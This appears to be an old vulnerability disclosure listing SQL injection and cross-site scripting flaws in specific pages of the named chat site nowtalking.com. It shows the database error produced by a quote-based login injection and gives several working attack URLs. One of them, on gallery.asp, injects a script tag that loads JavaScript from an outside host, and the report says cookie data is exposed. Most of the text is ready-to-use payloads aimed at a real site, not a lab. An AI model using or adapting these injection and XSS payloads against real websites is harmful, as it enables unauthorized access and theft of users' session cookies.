Nowtalking.com=0D
=0D
Homepage:=0D
http://www.nowtalking.com=0D 
=0D
Effected files:=0D
input boxes of logging in and searching=0D
friends-new.asp=0D
gallery.asp=0D
friends.asp=0D
gb.asp=0D
=0D
JET DB error due to injection:=0D
Microsoft JET Database Engine error '80040e14' =0D
=0D
Syntax error in string in query expression 'UserName = '' or ''''. =0D
=0D
/login.asp, line 61 =0D
=0D
---------------------------------------=0D
=0D
Friends-New.asp XSS vulnerability:=0D
=0D
It seems our cookie data is output on the screen via this XSS vuln:=0D
=0D
http://www.nowtalking.com/login/friends-new.asp?friendname=&friendnumber=9=0D 
=0D
Screenshot: http://www.youfucktard.com/xsp/nt1.jpg=0D 
=0D
--------------------------------------=0D
=0D
Gallery.asp XSS vulnerability, this time by changing the usernumber to a negative #:=0D
=0D
http://www.nowtalking.com/login/gallery.asp?username=[script src=http://www.youfucktard.com/xss.js]&usernumber=-78=0D 
=0D
Screenshot:http://www.youfucktard.com/xsp/nt2.jpg=0D 
=0D
-----------------------------------=0D
=0D
Friends.asp XSS Vuln, again with changing usernumber to a negative:=0D
=0D
http://www.nowtalking.com/login/friends.asp?usernumber=-9&username==0D 
=0D
Screenshot: http://www.youfucktard.com/xsp/nt3.jpg=0D 
=0D
----------------------------------=0D
=0D
Gb.asp XSS Vulnerability:=0D
=0D
http://www.nowtalking.com/login/gb.asp?username=&usernumber=-9=0D 
=0D
Screenshot: http://www.youfucktard.com/xsp/nt4.jpg=0D 
=0D
-----------------------------------